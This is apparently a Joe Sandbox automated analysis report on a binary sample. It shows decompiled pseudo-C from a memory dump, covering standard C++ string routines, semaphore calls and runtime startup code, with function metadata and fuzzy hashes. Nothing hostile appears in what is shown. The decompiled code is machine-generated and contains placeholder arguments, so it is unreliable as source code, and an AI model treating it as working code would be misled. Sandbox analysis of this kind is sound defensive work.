				char* _t103;
				void* _t120;
				char _t131;
				char _t133;
				signed char* _t134;
				signed char* _t135;
				signed char* _t142;
				intOrPtr* _t145;
				char** _t146;
				char** _t147;
				char** _t156;
				void* _t158;
				char** _t159;
				char** _t160;
				char** _t161;
				void* _t162;
				intOrPtr* _t163;
				intOrPtr* _t166;
				intOrPtr* _t167;

				_t111 = __ecx;
				_push(__edi);
				_t145 = __ecx;
				_push(__ebx);
				_t159 = _t158 - 0x10;
				_t99 = _a4;
				_t133 = _a8;
				if(_t99 > 0xf) {
					__eflags = _t99 - 0x3fffffff;
					if(_t99 > 0x3fffffff) {
						 *_t159 = "basic_string::_M_create";
						L004997B0(_t120, _t133);
						0;
						0;
						0;
						_push(_t133);
						_push(_t145);
						_t146 = _t111;
						_push(_t99);
						_t160 = _t159 - 0x10;
						_t134 = _v24;
						_t101 = _v20 - _t134;
						__eflags = _t101 - 0xf;
						if(_t101 > 0xf) {
							__eflags = _t101 - 0x3fffffff;
							if(_t101 > 0x3fffffff) {
								 *_t160 = "basic_string::_M_create";
								L004997B0(_t120, _t134);
								0;
								_push(_t134);
								_push(_t146);
								_t147 = _t111;
								_push(_t101);
								_t161 = _t160 - 0x10;
								_t135 = _v48;
								_t103 = _v44 - _t135;
								__eflags = _t103 - 0xf;
								if(_t103 > 0xf) {
									__eflags = _t103 - 0x3fffffff;
									if(_t103 > 0x3fffffff) {
										 *_t161 = "basic_string::_M_create";
										L004997B0(_t120, _t135);
										0;
										_t156 = _t161;
										_t162 = _t161 - 0x38;
										_v104 = _t111;
										_v128 = _v64;
										_v132 = _v68;
										_v92 = L00493A00(_t103, __eflags);
										__eflags = _v92 - 0xf;
										if(_v92 <= 0xf) {
											_v16 = _v32;
											E00482EA0(_v16);
										} else {
											_v128 = 0;
											_v132 =  &_v20;
											_t79 = E00484F10(_t103, _t135, _t156);
											_t166 = _t162 - 8;
											 *_t166 = _t79;
											E00484160(_v32);
											_t167 = _t166 - 4;
											 *_t167 = _v20;
											E00482720(_v32);
											_t162 = _t167 - 4;
										}
										_v132 = _v32;
										L004978C0( &_v24);
										_t163 = _t162 - 4;
										_t72 = L004139B0(_v32);
										_v128 = _a8;
										_v132 = _a4;
										 *_t163 = _t72;
										E00482F40();
										_v24 = 0;
										 *_t163 = _v20;
										E00482EB0(_v32);
										return L004978D8( &_v24);
									} else {
										 *_t161 =  &(_t103[1]);
										_t85 = E00497960();
										_t147[2] = _t103;
										 *_t147 = _t85;
										goto L24;
									}
								} else {
									_t85 =  *_t111;
									__eflags = _t103 - 1;
									if(_t103 == 1) {
										 *_t85 =  *_t135 & 0x000000ff;
										_t88 =  *_t111;
										_t147[1] = _t103;
										_t88[_t103] = 0;
										return _t88;
									} else {
										__eflags = _t103;
										if(_t103 != 0) {
											L24:
											_v68 = _t103;
											_v72 = _t135;
											 *_t161 = _t85;
											memcpy(??, ??, ??);
											_t87 =  *_t147;
											_t147[1] = _t103;
											_t87[_t103] = 0;
											return _t87;
										} else {
											_t147[1] = _t103;
											_t85[_t103] = 0;
											return _t85;
										}
									}
								}
							} else {
								 *_t160 =  &(_t101[1]);
								_t90 = E00497960();
								_t146[2] = _t101;
								 *_t146 = _t90;
								goto L16;
							}
						} else {
							_t90 =  *_t111;
							__eflags = _t101 - 1;
							if(_t101 == 1) {
								 *_t90 =  *_t134 & 0x000000ff;
								_t93 =  *_t111;
								_t146[1] = _t101;
								_t93[_t101] = 0;
								return _t93;
							} else {
								__eflags = _t101;
								if(_t101 != 0) {
									L16:
									_v44 = _t101;
									_v48 = _t134;
									 *_t160 = _t90;
									memcpy(??, ??, ??);
									_t92 =  *_t146;
									_t146[1] = _t101;
									_t92[_t101] = 0;
									return _t92;
								} else {
									_t146[1] = _t101;
									_t90[_t101] = 0;
									return _t90;
								}
							}
						}
					} else {
						 *_t159 =  &(_t99[1]);
						_t95 = E00497960();
						__ecx[2] = _t99;
						 *__ecx = _t95;
						_t142 = _t133;
						goto L7;
					}
				} else {
					if(_t99 != 0) {
						_t95 =  *__ecx;
						_t131 = _t133;
						if(_t99 != 1) {
							_t142 = _t131;
							L7:
							_v20 = _t99;
							_v24 = _t142;
							 *_t159 = _t95;
							memset(??, ??, ??);
						} else {
							 *_t95 = _t131;
						}
					}
					_t97 =  *_t145;
					 *(_t145 + 4) = _t99;
					 *((char*)(_t97 + _t99)) = 0;
					return _t97;
				}
			}

0x00482790
0x00482790
0x00482792
0x00482794
0x00482795
0x00482798
0x0048279c
0x004827a3
0x004827d0
0x004827d6
0x00482805
0x0048280c
0x00482817
0x0048281b
0x0048281f
0x00482820
0x00482821
0x00482822
0x00482824
0x00482825
0x00482828
0x00482830
0x00482832
0x00482835
0x00482870
0x00482876
0x004828aa
0x004828b1
0x004828bc
0x004828c0
0x004828c1
0x004828c2
0x004828c4
0x004828c5
0x004828c8
0x004828d0
0x004828d2
0x004828d5
0x00482910
0x00482916
0x0048294a
0x00482951
0x0048295c
0x00482961
0x00482963
0x00482966
0x0048296c
0x00482973
0x0048297b
0x00482981
0x00482984
0x004829cb
0x004829d3
0x00482986
0x00482989
0x00482994
0x00482999
0x0048299e
0x004829a6
0x004829ab
0x004829b0
0x004829b9
0x004829be
0x004829c3
0x004829c3
0x004829df
0x004829e4
0x004829e9
0x004829f1
0x004829f9
0x00482a00
0x00482a04
0x00482a07
0x00482a0c
0x00482a19
0x00482a1e
0x00482a31
0x00482918
0x0048291b
0x0048291e
0x00482923
0x00482926
0x00000000
0x00482926
0x004828d7
0x004828d7
0x004828d9
0x004828dc
0x004828fb
0x004828fd
0x004828ff
0x00482902
0x0048290c
0x004828de
0x004828de
0x004828e0
0x00482928
0x00482928
0x0048292c
0x00482930
0x00482933
0x00482938
0x0048293a
0x0048293d
0x00482947
0x004828e2
0x004828e2
0x004828e5
0x004828ef
0x004828ef
0x004828e0
0x004828dc
0x00482878
0x0048287b
0x0048287e
0x00482883
0x00482886
0x00000000
0x00482886
0x00482837
0x00482837
0x00482839
0x0048283c
0x0048285b
0x0048285d
0x0048285f
0x00482862
0x0048286c
0x0048283e
0x0048283e
0x00482840
0x00482888
0x00482888
0x0048288c
0x00482890
0x00482893
0x00482898
0x0048289a
0x0048289d
0x004828a7
0x00482842
0x00482842
0x00482845
0x0048284f
0x0048284f
0x00482840
0x0048283c
0x004827d8
0x004827db
0x004827de
0x004827e3
0x004827e8
0x004827ea
0x00000000
0x004827ea
0x004827a5
0x004827a7
0x004827a9
0x004827ab
0x004827b0
0x00482800
0x004827ed
0x004827ed
0x004827f1
0x004827f5
0x004827f8
0x004827b2
0x004827b2
0x004827b2
0x004827b0
0x004827b4
0x004827b6
0x004827b9
0x004827c3
0x004827c3

APIs

memset.MSVCRT ref: 004827F8

Strings

basic_string::_M_create, xrefs: 00482805, 004828AA, 0048294A

Memory Dump Source

Source File: 00000000.00000002.263133991.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.263127372.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263402796.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263412439.00000000004A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263446576.00000000004C6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263605446.0000000000514000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263615053.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263638378.000000000053B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: memset
String ID: basic_string::_M_create
API String ID: 2221118986-3122258987
Opcode ID: be1dd0a9e63bb0c6a9297e5946c5d995b518fb5c9bef98bd8dbd35d321081c4a
Instruction ID: 222bb3b3e69b64853750a1dae447ac1b4752e5fcd066ea8adabe5dedaaad3675
Opcode Fuzzy Hash: be1dd0a9e63bb0c6a9297e5946c5d995b518fb5c9bef98bd8dbd35d321081c4a
Instruction Fuzzy Hash: 15519EB29083408FD320BF2DD5C0A1AFBE0FBA9314F554A6FE5D48B356D27998408756

Uniqueness

Uniqueness Score: -1.00%

Function 00450830 Relevance: 6.2, APIs: 3, Strings: 1, Instructions: 153COMMON

Download Yara Rule

APIs

memmove.MSVCRT ref: 00450896
memcpy.MSVCRT ref: 00450901
memcpy.MSVCRT ref: 00450948

Strings

basic_string::assign, xrefs: 00450963

Memory Dump Source

Source File: 00000000.00000002.263133991.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.263127372.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263402796.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263412439.00000000004A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263446576.00000000004C6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263605446.0000000000514000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263615053.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263638378.000000000053B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: memcpy$memmove
String ID: basic_string::assign
API String ID: 1283327689-2385367300
Opcode ID: 1261ecb735088b8e2724e12af77bfdfd3944e0a136795e864e7b370f4b2d0170
Instruction ID: 56f379472b8d50705f661bcaf7f3f50ffe461d916902cdb257ee8ac85a7dc5bb
Opcode Fuzzy Hash: 1261ecb735088b8e2724e12af77bfdfd3944e0a136795e864e7b370f4b2d0170
Instruction Fuzzy Hash: 6D5190B9B053118FD714AF19C484A1BF7E1FF91315F54856EE8848B31AE7389808CB85

Uniqueness

Uniqueness Score: -1.00%

Function 003FA4C1 Relevance: 6.1, APIs: 4, Instructions: 89COMMON

Download Yara Rule

APIs

ReleaseSemaphore.KERNEL32 ref: 003FA571

Memory Dump Source

Source File: 00000000.00000002.263133991.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.263127372.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263402796.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263412439.00000000004A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263446576.00000000004C6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263605446.0000000000514000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263615053.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263638378.000000000053B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: ReleaseSemaphore
String ID:
API String ID: 452062969-0
Opcode ID: 6e44aa291b65aeab28542f3421dcde8e559388466037dddd4dc45006a17ddcf6
Instruction ID: 5e4946eafa96cc727611a8023b7850b26c9badea163fe6f449c2447ae89cb45f
Opcode Fuzzy Hash: 6e44aa291b65aeab28542f3421dcde8e559388466037dddd4dc45006a17ddcf6
Instruction Fuzzy Hash: EA416CB46047018FC751DF29E8987667BF0BB54324F15C668E85C8B3A5E334EA48DF82

Uniqueness

Uniqueness Score: -1.00%

Function 003FA660 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

ReleaseSemaphore.KERNEL32 ref: 003FA701

Memory Dump Source

Source File: 00000000.00000002.263133991.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.263127372.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263402796.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263412439.00000000004A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263446576.00000000004C6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263605446.0000000000514000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263615053.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263638378.000000000053B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: ReleaseSemaphore
String ID:
API String ID: 452062969-0
Opcode ID: 666c312bdce8638c92892f2239d77861c870c5263fa300bfb4d426ba06046c0e
Instruction ID: 3479854eb6489429705b48f985123eab81bb9bd30127fba63af5e06c08aa0c16
Opcode Fuzzy Hash: 666c312bdce8638c92892f2239d77861c870c5263fa300bfb4d426ba06046c0e
Instruction Fuzzy Hash: 08319FB8604701CFD751EF28E898BA27BF0BB14315F15C568D8588B3A5D735E948DF82

Uniqueness

Uniqueness Score: -1.00%

Function 003FA981 Relevance: 6.1, APIs: 4, Instructions: 79synchronizationCOMMON

Download Yara Rule

APIs

ReleaseSemaphore.KERNEL32 ref: 003FAA22
CreateSemaphoreW.KERNEL32 ref: 003FAA67
WaitForSingleObject.KERNEL32 ref: 003FAAB0

Memory Dump Source

Source File: 00000000.00000002.263133991.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.263127372.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263402796.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263412439.00000000004A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263446576.00000000004C6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263605446.0000000000514000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263615053.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263638378.000000000053B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: Semaphore$CreateObjectReleaseSingleWait
String ID:
API String ID: 3817295960-0
Opcode ID: 7023a3cf36b1de0e1c3a14e3568f978fbcb7c15caa370cec4a76e2e08e5040aa
Instruction ID: 170a3b51822094bdbb324c60272d24dd8bfd4e2cb8143deac1d340236dbe213b
Opcode Fuzzy Hash: 7023a3cf36b1de0e1c3a14e3568f978fbcb7c15caa370cec4a76e2e08e5040aa
Instruction Fuzzy Hash: C7318BB4608705CFCB41DF28E9987667BF0BB58315F01C669E8588B2A5E334EA48DF42

Uniqueness

Uniqueness Score: -1.00%

Function 003FAB10 Relevance: 6.1, APIs: 4, Instructions: 76synchronizationCOMMON

Download Yara Rule

APIs

ReleaseSemaphore.KERNEL32 ref: 003FABA2
CreateSemaphoreW.KERNEL32 ref: 003FABE7
WaitForSingleObject.KERNEL32 ref: 003FAC30

Memory Dump Source

Source File: 00000000.00000002.263133991.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.263127372.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263402796.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263412439.00000000004A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263446576.00000000004C6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263605446.0000000000514000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263615053.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263638378.000000000053B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: Semaphore$CreateObjectReleaseSingleWait
String ID:
API String ID: 3817295960-0
Opcode ID: 8e028bdc8b89318613e10b59c437c835df8b4e1d45a60e9a335ec55697a57cdd
Instruction ID: 75fb961968358fae3fa45fbcb0981efc60738da26544ad15461ac1509744405d
Opcode Fuzzy Hash: 8e028bdc8b89318613e10b59c437c835df8b4e1d45a60e9a335ec55697a57cdd
Instruction Fuzzy Hash: 1E317AB46043008FD741EF28E9987667BF0BB14315F01C668E8588B3A5E334EA489F82

Uniqueness

Uniqueness Score: -1.00%

Function 003F0338 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 64stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 003F208E

Strings

this, xrefs: 003F0343
{parm#, xrefs: 003F2069
}, xrefs: 003F2122

Memory Dump Source

Source File: 00000000.00000002.263133991.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.263127372.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263402796.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263412439.00000000004A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263446576.00000000004C6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263605446.0000000000514000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263615053.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263638378.000000000053B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: strlen
String ID: this${parm#$}
API String ID: 39653677-3278767634
Opcode ID: c0a376f6b1a96d5a67fef30b143345bcaf53509fa4a11141e6816cbd89f78d97
Instruction ID: cba2e0c4c2ab945120f5cbc11ed5d6dafdd57ee6f333a7ddd369cf88bac17c44
Opcode Fuzzy Hash: c0a376f6b1a96d5a67fef30b143345bcaf53509fa4a11141e6816cbd89f78d97
Instruction Fuzzy Hash: 2821AB71508292CBC7129F15C0803BABBA1AF90304F1985BEDDC84F64BC7799885DBA6

Uniqueness

Uniqueness Score: -1.00%

Function 003E1001 Relevance: 6.1, APIs: 4, Instructions: 57COMMON

Download Yara Rule

APIs

__set_app_type.MSVCRT ref: 003E106B
__p__fmode.MSVCRT ref: 003E1070
__p__commode.MSVCRT ref: 003E107D

Memory Dump Source

Source File: 00000000.00000002.263133991.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.263127372.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263402796.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263412439.00000000004A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263446576.00000000004C6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263605446.0000000000514000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263615053.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263638378.000000000053B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: __p__commode__p__fmode__set_app_type
String ID:
API String ID: 3338496922-0
Opcode ID: 45ae358ec3b54f5aa296fc2afe4fd5a867903fa5193dbb7050248d7ddf884e69
Instruction ID: 2e8158c8f83e91bf3c58dbaeac59fa6b59fb34ddfafda84060e72366dda9c095
Opcode Fuzzy Hash: 45ae358ec3b54f5aa296fc2afe4fd5a867903fa5193dbb7050248d7ddf884e69
Instruction Fuzzy Hash: 5A2102B0200291CBCB26AF22C5193A933E5BB44344F86876CC1144A6DAE77ACEC9DB51

Uniqueness

Uniqueness Score: -1.00%

Function 0045E560 Relevance: 6.0, APIs: 4, Instructions: 30stringCOMMON

Download Yara Rule

APIs

setlocale.MSVCRT ref: 0045E575
strlen.MSVCRT ref: 0045E57F
memcpy.MSVCRT ref: 0045E5A8
setlocale.MSVCRT ref: 0045E5BC

Memory Dump Source

Source File: 00000000.00000002.263133991.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.263127372.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263402796.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263412439.00000000004A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263446576.00000000004C6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263605446.0000000000514000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263615053.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263638378.000000000053B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: setlocale$memcpystrlen
String ID:
API String ID: 4096897932-0
Opcode ID: b442457c5329a3a23a501b2377586285e8ddc122e13aa7fdef54cfbcd92f24ca
Instruction ID: 9b3efca1b26fdc53ed799a4f71db73fc6ea1434d55e6992023ed29855145cc42
Opcode Fuzzy Hash: b442457c5329a3a23a501b2377586285e8ddc122e13aa7fdef54cfbcd92f24ca
Instruction Fuzzy Hash: C9F03AF05093009AE7007F6A948572EBAE4EFC0358F42886EE4C89B281D7BC84448B96

Uniqueness

Uniqueness Score: -1.00%

Function 004669D0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 150COMMON

Download Yara Rule

Strings

basic_filebuf::xsgetn error reading the file, xrefs: 00466BB8

Memory Dump Source

Source File: 00000000.00000002.263133991.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.263127372.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263402796.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263412439.00000000004A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263446576.00000000004C6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263605446.0000000000514000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263615053.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263638378.000000000053B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: basic_filebuf::xsgetn error reading the file
API String ID: 0-3108371566
Opcode ID: 3e12a3745bb08f2e3a93718f7008975678ab03b239a9dafa3fed796aca65e178
Instruction ID: 914738294845b62b17939f663d064a9f47c207a4b35031f3caa04798d0b300c5
Opcode Fuzzy Hash: 3e12a3745bb08f2e3a93718f7008975678ab03b239a9dafa3fed796aca65e178
Instruction Fuzzy Hash: 70513DB1504340CFCB14DF29C18471ABFE0AF95354F1A85AED849CF35AE239D949CB96

Uniqueness

Uniqueness Score: -1.00%

Function 0047C9E0 Relevance: 5.4, APIs: 4, Instructions: 369
stringCOMMON

Download Yara Rule

C-Code - Quality: 29%

			E0047C9E0(char __ecx, void* __eflags, char _a4) {
				void* _v16;
				char _v32;
				char _v33;
				char _v34;
				char _v35;
				signed char* _v48;
				char* _v52;
				char _v56;
				char _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v88;
				char _v92;
				char _v96;
				char _v100;
				char _v104;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr* _t143;
				intOrPtr* _t145;
				char _t147;
				void* _t151;
				char _t158;
				intOrPtr _t160;
				intOrPtr* _t163;
				char _t165;
				char _t167;
				intOrPtr _t169;
				intOrPtr* _t172;
				char _t174;
				char _t178;
				intOrPtr _t180;
				intOrPtr* _t183;
				intOrPtr _t185;
				signed char* _t186;
				signed int _t188;
				intOrPtr* _t189;
				signed int _t190;
				intOrPtr* _t191;
				signed int _t192;
				intOrPtr* _t199;
				intOrPtr _t200;
				intOrPtr* _t201;
				intOrPtr _t202;
				intOrPtr* _t204;
				intOrPtr _t205;
				intOrPtr* _t207;
				intOrPtr _t208;
				intOrPtr _t210;
				char* _t211;
				char _t245;
				char _t246;
				char _t251;
				char _t254;
				intOrPtr _t257;
				char _t266;
				signed char* _t276;
				signed char* _t278;
				void* _t279;
				char* _t282;
				intOrPtr _t284;
				signed char* _t285;
				char* _t286;
				wchar_t* _t287;
				wchar_t* _t288;
				wchar_t* _t289;
				char _t290;
				void* _t293;
				void* _t294;
				void* _t295;
				void* _t296;
				void* _t297;
				signed char** _t298;
				intOrPtr* _t299;
				intOrPtr* _t300;

				_t245 = __ecx;
				_t295 = _t294 - 0x4c;
				_v92 = _a4;
				_t143 = E00494D80(__eflags);
				_t290 = _t143;
				_t145 =  *((intOrPtr*)( *_t143 + 0x14));
				if(_t145 != 0x40b350) {
					_v92 = _t290;
					 *_t145();
					_t147 = _v32;
					_t295 = _t295 - 4;
				} else {
					_t275 = 0xfffffffe;
					_t289 =  *( *((intOrPtr*)(_t290 + 8)) + 0x18);
					if(_t289 != 0) {
						_t275 = _t289 + wcslen(_t289) * 2;
					}
					_t147 = L0044F990(_t289, _t245,  &_v33, _t275, _t289, _t290, _t293);
					_v32 = _t147;
				}
				_t284 =  *((intOrPtr*)(_t147 - 0xc));
				_v64 = _t284;
				if(_t284 > 0x3ffffffe) {
					L00499D50(_t245);
					_t151 = L0044FE70(_v32 - 0xc,  &_v33);
					_v100 = _t245;
					E003F8C90(_t151, _t245, _t275, _t284, _t290);
					L63:
					_t246 = L00499D50(_t245);
					while(1) {
						L59:
						_t154 = _v52;
						_v96 = _v52;
						L00497900();
						while(1) {
							_v96 = _t246;
							E003F8C90(_t154, _t246, _t275, _t284, _t290);
							_v96 = _v60;
							L00497900();
							_t154 = _v56;
							_v96 = _v56;
							L00497900();
							__eflags = _v52;
							if(_v52 != 0) {
								goto L59;
							}
						}
					}
				}
				_t158 = L00497930(_t284 + _t284);
				_v52 = _t158;
				_v88 = 0;
				_v92 = _t284;
				_v96 = _t158;
				E004090E0(_t245,  &_v32);
				_t160 =  *0x4c3bd0; // 0x2
				_t251 = _v32;
				_t296 = _t295 - 0xc;
				if(_t160 != 0) {
					asm("lock xadd [ecx-0x4], eax");
					__eflags = 0xffffffff;
					if(0xffffffff > 0) {
						goto L7;
					} else {
						goto L46;
					}
					goto L25;
				} else {
					_t18 =  *((intOrPtr*)(_t251 - 4)) - 1; // -1
					_t275 = _t18;
					 *((intOrPtr*)(_t251 - 4)) = _t18;
					if( *((intOrPtr*)(_t251 - 4)) <= 0) {
						L46:
						_v96 =  &_v33;
						L0044FE50( &_v33, _t251 - 0xc);
						_t296 = _t296 - 4;
						_t163 =  *((intOrPtr*)( *_t290 + 0x18));
						__eflags = _t163 - 0x40b3f0;
						if(_t163 == 0x40b3f0) {
							goto L8;
						} else {
							goto L47;
						}
						L25:
						_t276 =  *(_t185 - 0xc);
						_v48 = _t276;
						 *_t298 = _t276;
						_t186 = L00497930();
						_v100 = 0;
						_t285 = _t186;
						 *_t298 = _t186;
						_v104 = _v48;
						E0040A140(_t245,  &_v32);
						_t278 = _v48;
						 *(_t245 + 8) = _t285;
						_t299 = _t298 - 0xc;
						_t188 = 0;
						 *(_t245 + 0xc) = _t278;
						if(_t278 != 0) {
							_t188 = ( *_t285 & 0x000000ff) - 0x00000001 & 0xffffff00 | ( *_t285 & 0x000000ff) - 0x00000001 - 0x0000007d < 0x00000000;
						}
						_t279 =  *_t290;
						 *(_t245 + 0x10) = _t188;
						_t189 =  *((intOrPtr*)(_t279 + 8));
						if(_t189 != 0x40b3a0) {
							_t190 =  *_t189();
							_t279 =  *_t290;
						} else {
							_t190 =  *( *((intOrPtr*)(_t290 + 8)) + 0x12) & 0x0000ffff;
						}
						 *(_t245 + 0x12) = _t190;
						_t191 =  *((intOrPtr*)(_t279 + 0xc));
						if(_t191 != 0x40b430) {
							_t192 =  *_t191();
							_t279 =  *_t290;
						} else {
							_t192 =  *( *((intOrPtr*)(_t290 + 8)) + 0x14) & 0x0000ffff;
						}
						 *(_t245 + 0x14) = _t192;
						 *(_t245 + 0x18) = _v52;
						 *((intOrPtr*)(_t245 + 0x1c)) = _v64;
						 *((intOrPtr*)(_t245 + 0x20)) = _v56;
						 *((intOrPtr*)(_t245 + 0x24)) = _v68;
						 *((intOrPtr*)(_t245 + 0x28)) = _v60;
						 *((intOrPtr*)(_t245 + 0x2c)) = _v72;
						_t199 =  *((intOrPtr*)(_t279 + 0x20));
						if(_t199 != 0x40b390) {
							_t200 =  *_t199();
							_t279 =  *_t290;
						} else {
							_t200 =  *((intOrPtr*)( *((intOrPtr*)(_t290 + 8)) + 0x30));
						}
						 *((intOrPtr*)(_t245 + 0x30)) = _t200;
						_t201 =  *((intOrPtr*)(_t279 + 0x24));
